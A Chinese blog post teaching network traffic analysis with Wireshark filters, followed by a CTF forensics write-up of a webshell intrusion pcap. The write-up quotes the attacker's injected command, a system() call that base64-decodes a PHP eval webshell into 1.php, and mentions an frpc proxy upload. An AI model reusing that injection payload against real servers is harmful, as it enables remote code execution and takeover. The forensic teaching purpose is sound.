当前位置: 首页 > news >正文

流量分析基础

定义:

  流量分析(Traffic Analysis)是指对网络流量数据进行分析和解释,以获得有关网络中通信的信息和情报。这种技术可以用于网络安全、网络管理和网络优化等领域。

  网络流量包含了许多有关网络通信的细节信息,如源IP地址、目标IP地址、端口号、协议类型、数据包大小、传输速率等等。通过对这些信息进行分析和解释,可以获得对网络通信的深入理解,并发现潜在的问题和威胁。需要了解网络协议、数据包分析、安全攻防技术等相关知识。此外,还需要使用专业的流量分析工具,如Wireshark、tcpdump、Snort等等,以捕获和分析网络流量数据。在网络安全领域,流量分析被广泛应用于入侵检测、网络监控、漏洞分析等方面。例如,通过对网络流量进行分析和解释,可以发现恶意软件、网络钓鱼攻击、DDoS攻击等各种网络威胁,并采取相应的防御措施。

  wireshark:

一、Wireshark简介

Wireshark是一款世界范围最广、最好用的网络封包分析软件,功能强大,界面友好直观,操作起来非常方便。它的创始人是Gerald Combs,前身是Ethereal,作为开源项目经过众多开发者的完善它已经成为使用量最大的安全工具之一。在CTF中也经常会使用wireshark进行流量数据包分析,可以快速检测网络通讯数据,获取最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。用户将在图形界面中浏览这些数据,实时监控TCP、session等网络动态,轻松完成网络管理操作。其对pcap包分析过程中常用的功能基本上包括:数据包筛选、数据包搜索、流还原、流量提取等

二、安装与使用

去官网下载,按照相应指示安装即可,

Wireshark支持的网络类型:

InterfaceLinuxmacOSWindows
蓝牙
以太网
USB
无线局域网
PPP链路

打开后点击所需网关即可抓包

它提供了三个主要面板,包括:

  1. 抓包面板(Capture Panel):抓包面板用于捕获网络数据包,并显示已经捕获的数据包列表。在该面板中,可以选择捕获的网络接口、设置捕获过滤器、启动和停止抓包等操作。此外,还可以通过右键单击数据包,查看详细信息、导出数据包、跟踪TCP流等。

  2. 数据包列表面板(Packet List Panel):数据包列表面板显示已经捕获的数据包列表,其中每个数据包占据一行,并列出了有关该数据包的一些关键信息,如时间戳、源IP地址、目标IP地址、协议类型、数据包长度等。此外,还可以通过对列表进行排序、筛选、搜索等操作,方便用户查找和分析数据包。

  3. 数据包详情面板(Packet Detail Panel):数据包详情面板显示选定数据包的详细信息,包括各个协议层的数据结构和字段值。用户可以通过展开不同的节点,查看不同的协议头和数据负载,帮助用户深入理解数据包的内容和意义。

常用语法:

(在搜索框输入http即可看http的流量)

tcp:显示所有TCP协议的数据包
udp:显示所有UDP协议的数据包
http:显示所有HTTP协议的数据包
dns:显示所有DNS协议的数据包
icmp:显示所有ICMP协议的数据包

ip地址筛选:

ip.addr == 192.168.0.1:显示与指定IP地址相关的所有数据包
ip.src == 192.168.0.1 :显示源IP地址为指定地址的数据包
ip.dst == 192.168.0.2:显示目标IP地址为指定地址的数据包

端口筛选:

tcp.port ==  80:显示使用指定TCP端口的数据包
udp.port == 53:显示使用指定UDP端口的数据包

比较运算符:

==:等于,例如:http.request.method == "POST"
!=:不等于,例如:ip.addr != 192.168.0.1
<、>:小于、大于,例如:frame.len > 100 或 frame.len < 50,可以指定过滤数据包长度

数据包内容过滤规则:

http.request.method == "GET" 或 tcp.flags.syn == 1,可以通过指定数据包内容,只保留符合条件的数据包。

# 在TCP三次握手过程中,客户端向服务端发送一个SYN标志的数据包,表示请求建立连接。而tcp.flags.syn == 1就是Wireshark中用于匹配TCP SYN标志的过滤规则,其中1表示该标志位被置为1,表示该数据包是一个SYN数据包。当Wireshark捕获到一个TCP数据包时,会检查该数据包的TCP头部中的SYN标志位是否被置为1,如果符合条件,则该数据包会被匹配并显示出来。这样,用户就可以快速过滤出所有的TCP SYN数据包,方便进行相关的分析和处理。

复杂筛选:

ip.src == 192.168.0.1 and tcp.port == 80

这个表达式的作用是:选择源IP地址为192.168.0.1并且目标TCP端口为80的网络流量。这样可以过滤出与指定源IP地址和目标端口相关的流量,以便进一步分析和观察与该目标端口的通信相关的数据包。

解释每个部分的含义:

  • ip.src == 192.168.0.1:选择源IP地址为192.168.0.1的网络流量。
  • tcp.port == 80:选择目标TCP端口为80的网络流量。

通过组合这些条件,可以有效地过滤出特定源IP地址和目标端口的网络流量

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST 

这个表达式的作用是:选择源IP地址为192.168.1.8或202.1.1.2,并且HTTP请求方法为POST的网络流量。这样可以过滤出满足这两个条件的网络流量,以便进一步分析和观察与POST请求相关的数据包。

解释每个部分的含义:

  • ip.addr == 192.168.1.8:选择源IP地址为192.168.1.8的网络流量。
  • ip.addr == 202.1.1.2:选择源IP地址为202.1.1.2的网络流量。
  • http.request.method==POST:选择HTTP请求方法为POST的网络流量。

蓝牙协议为obex协议

以下是一些用于匹配HTTP流量中的特定内容的语法:

  1. http.host == "www.example.com":匹配目标主机为"www.example.com"的HTTP请求和响应。

  2. http contains "login":用于匹配HTTP流量中包含"login"字符串的数据包。

  3. http.request.method == "POST":匹配使用HTTP POST方法发送请求的数据包。

  4. http.response.code == 200:匹配状态码为200的HTTP响应数据包。

  5. http.cookie contains "sessionid":匹配包含名为"sessionid"的HTTP Cookie数据包。

  6. http.content_type == "text/html":匹配Content-Type头部为"text/html"的HTTP数据包。

  7. http.request.uri contains "admin":匹配包含"admin"字符串的HTTP请求URI。

  8. http.request.uri matches ".*\.(jpg|png|gif)":匹配HTTP请求URI中以".jpg"、".png"或".gif"结尾的URI。

  9. http.user_agent matches "Mozilla.*":匹配User-Agent头部以"Mozilla"开头的HTTP请求数据包。

题目[陇剑杯2021webshell]:

1.分析数据包hack.pcap,黑客登录系统使用的密码是________。
2.分析数据包hack.pcap,黑客修改了一个文件日志,文件的绝对路径为________。
3.分析数据包hack.pcap,黑客获取webshell之后,权限是_________?
4.分析数据包hack.pcap,黑客写入的webshell文件名是_________。
5.分析数据包hack.pcap,黑客上传的代理工具客户端名字是__________。
6.分析数据包hack.pcap,黑客代理工具的回连服务端IP是___________。

 1、分析登录系统使用的密码

过滤语法:

http contains "login"

点击长度753那条,拉到下面看到使用的密码为:Admin123!@#

2、分析文件的绝对路径

因为题目中黑客修改了日志,所以直接搜.log

http contains ".log"

我们翻最大长度的且非404的包能看见日志路径和命令执行,不过这不是绝对路径,继续追踪http流(右击数据-->追踪流-->追踪http流)

重点在于:

 variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');HTTP/1.1 200 OK

 拼接一下能得出文件的绝对路径是:/var/www/html/data/Runtime/Logs/Home/21_08_07.log

3、分析黑客获取webshell后的权限

搜索:

http contains "whoami"

出来的两条数据虽然有whoami但是没有权限,我们追踪http流,然后在里面搜索default(即默认权限)

[ 2021-08-07T17:37:59+08:00 ] 172.17.0.1 /index.php?m=home&a=assign_resume_tpl

ERR: ...............:./Application/Home/View/default/www-data

 权限是www-data

4、分析黑客写入的webshell文件名

第二题就能看见写入的是1.php


5.分析黑客上传的代理工具客户端名字

由上题可知webshell的连接密码是aaa,直接搜索aaa,然后追踪http流

翻到后面得到:

 

ThinkPHP/ 2021-08-07 05:59:50 4096 0777

Application/ 2021-08-07 05:59:49 4096 0777

data/ 2021-08-07 06:00:32 4096 0777

frpc 2021-08-07 09:42:32 9973760 0644

index.php 2021-08-07 05:59:50 2269 0777

1.php 2021-08-07 09:39:54 29 0644

favicon.ico 2021-08-07 05:59:50 1150 0777

install.php 2021-08-07 05:59:50 378 0777

frpc.ini 2021-08-07 09:42:17 240 0644

代理工具客户端名字是:frpc

6.分析代理工具的回连服务端IP

  黑客通过代理客户端写入文件并上传,在文件上传请求的包中,数据以16进制的形式呈现(因为在传输过程中,数据通常以二进制形式进行编码,可以通过将二进制数据转换为16进制来进行可视化展示和分析)

我们可以使用Burpsuite进行16进制转换,将抓取到的16进制数据复制到Burpsuite中。在Burpsuite中,找到并点击顶部菜单栏"Decoder"选项卡,在Decoder工具的界面上,选择"ASCII hex"选项(意味将16进制数据转换为ASCII字符串),然后点击"Decode"按钮。Burpsuite将会将16进制数据转换为相应的ASCII字符串。

代理工具的回连客户端IP是:192.168.239.123

相关参考:

Wireshark 的抓包和分析,看这篇就够了!_wireshark抓包数据怎么看-CSDN博客

CTF——流量分析题型整理总结_ctf流量分析-CSDN博客

相关文章:

  • 【MySQL】启动 和 连接 MySQL
  • Docker构建镜像时空间不足:/var/lib/docker,no space left on device
  • 智能优化算法应用:基于引力搜索算法3D无线传感器网络(WSN)覆盖优化 - 附代码
  • QT----第三天,Visio stdio自定义封装控件,鼠标事件,定时器,事件分发器过滤器,绘图事件
  • K8s投射数据卷
  • 【Docker】离线一键式安装docker、docker-compose
  • Java EE 多线程之 JUC
  • 微信小程序(二) ——模版语法1
  • 在MFC(Microsoft Foundation Classes)中 CreateThread函数
  • 用docker创建jmeter容器,如何实现性能测试?
  • AE-制作绚丽的图形通道
  • C语言——谁考了第k名(头歌编程刷题)
  • MySQL数据库,变量、流程控制与游标
  • 鸿蒙HarmonyOS4.0 入门与实战
  • IntelliJ IDEA 自带HTTP Client接口插件上传文件示例
  • JS 中的深拷贝与浅拷贝
  • Essential Studio for ASP.NET Web Forms 2017 v2,新增自定义树形网格工具栏
  • HTTP传输编码增加了传输量,只为解决这一个问题 | 实用 HTTP
  • iOS 系统授权开发
  • iOS帅气加载动画、通知视图、红包助手、引导页、导航栏、朋友圈、小游戏等效果源码...
  • 纯 javascript 半自动式下滑一定高度,导航栏固定
  • 后端_MYSQL
  • 通过获取异步加载JS文件进度实现一个canvas环形loading图
  • 移动互联网+智能运营体系搭建=你家有金矿啊!
  • 分布式关系型数据库服务 DRDS 支持显示的 Prepare 及逻辑库锁功能等多项能力 ...
  • 哈罗单车融资几十亿元,蚂蚁金服与春华资本加持 ...
  • ​520就是要宠粉,你的心头书我买单
  • ​二进制运算符:(与运算)、|(或运算)、~(取反运算)、^(异或运算)、位移运算符​
  • #基础#使用Jupyter进行Notebook的转换 .ipynb文件导出为.md文件
  • (+4)2.2UML建模图
  • (¥1011)-(一千零一拾一元整)输出
  • (二)hibernate配置管理
  • (附源码)计算机毕业设计ssm基于B_S的汽车售后服务管理系统
  • (全部习题答案)研究生英语读写教程基础级教师用书PDF|| 研究生英语读写教程提高级教师用书PDF
  • (转)C#开发微信门户及应用(1)--开始使用微信接口
  • (转)程序员疫苗:代码注入
  • (转)树状数组
  • .net core 控制台应用程序读取配置文件app.config
  • .NET Core 通过 Ef Core 操作 Mysql
  • .NET MVC第三章、三种传值方式
  • .NET中两种OCR方式对比
  • @AutoConfigurationPackage的使用
  • [Android Pro] AndroidX重构和映射
  • [Angular] 笔记 8:list/detail 页面以及@Input
  • [Arduino学习] ESP8266读取DHT11数字温湿度传感器数据
  • [C++] Boost智能指针——boost::scoped_ptr(使用及原理分析)
  • [c++] 什么是平凡类型,标准布局类型,POD类型,聚合体
  • [C++]拼图游戏
  • [C++数据结构](31)哈夫曼树,哈夫曼编码与解码
  • [CUDA 学习笔记] CUDA kernel 的 grid_size 和 block_size 选择
  • [Geek Challenge 2023] web题解
  • [GN] Vue3.2 快速上手 ---- 核心语法2
  • [hdu 3065] 病毒侵袭持续中 [AC自动机] [病毒特征码匹配]
  • [HDU] 1054 Strategic Game 入门树形DP
  • [Head First设计模式]策略模式